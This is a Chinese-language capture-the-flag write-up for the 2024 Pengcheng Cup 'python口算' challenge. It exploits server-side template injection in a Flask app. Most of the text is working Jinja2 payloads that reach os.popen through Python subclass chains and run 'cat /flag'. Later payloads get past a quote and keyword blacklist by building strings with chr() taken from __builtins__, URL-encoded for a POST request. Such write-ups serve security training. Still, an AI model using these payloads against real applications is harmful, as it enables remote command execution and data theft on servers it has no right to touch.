跳转至

[鹏程杯 2024]python口算

题目地址:内部平台无链接

打开题目,发现需要根据一直变化的算式进行计算,得到答案并提交。

前端设立定时器每隔一秒发送一次 fetchData ,我们关掉目前的题目,直接访问 /calc 获得计算式,然后在 python 里面使用 eval() 函数获得答案之后,手动复制到 ?answer=123&Submit= 提交来获得下一步。

题目给出了一个提示链接,下载其中的源代码,获得了如下提示:

@app.route('/')
def index(solved=0):
    global current_expr

    # 前端计算
    .....
    .....
    # 通过计算

    username = 'ctfer!'
    if request.args.get('username'):
        username = request.args.get('username')
        if whitelist_filter(username,whitelist_patterns):
            if blacklist_filter(username):
                return render_template_string("filtered")
            else:
                print("你过关!")
        else:
            return render_template_string("filtered")
    return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")

可以看到,这就是一个 flask 的 SSTI 题目。然后就传入 username 参数就行。题目欺骗了我们,我们不能使用 GET 方法传入参数,需要在 POST 方法中传入 username 参数。

首先我们测试黑名单,大致如下:

  • 空格、双引号、单引号、request、args

然后就是构建一个基本的 SSTI 模板。

username={{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /flag').read()}}

然后因为用不了引号,所以需要转成 chr() 函数的形式才可以。

username={{{}.__class__.__base__.__subclasses__()[133].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(108)+chr(115)).read()}}

然后,环境一直报错 "Internal server error",得知环境内默认是没有 chr() 函数的,所以我们需要用同一个方法,找到 builtins 模块,找到里面的 chr() 函数。如下:

().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__.__builtins__.chr

然后就把之前的 payload 的每一个 chr() 函数前面都加上上面的内容就可以了:

username={{{}.__class__.__base__.__subclasses__()[133].__init__.__globals__[().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__.__builtins__.chr(112)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(111)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(112)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(101)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(110)](().__class__.__bases__[0].__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(99)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(97)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(116)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(32)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(47)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(102)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(108)%2B().__class__.__bases__%5B0%5D.__subclasses__()%5B133%5D.__init__.__globals__.__builtins__.chr(97)%2B().__class__.__bases__%5B0%5D.__subclasses__()[133].__init__.__globals__.__builtins__.chr(103)).read()}}

然后获得了 flag。


文章热度:0次阅读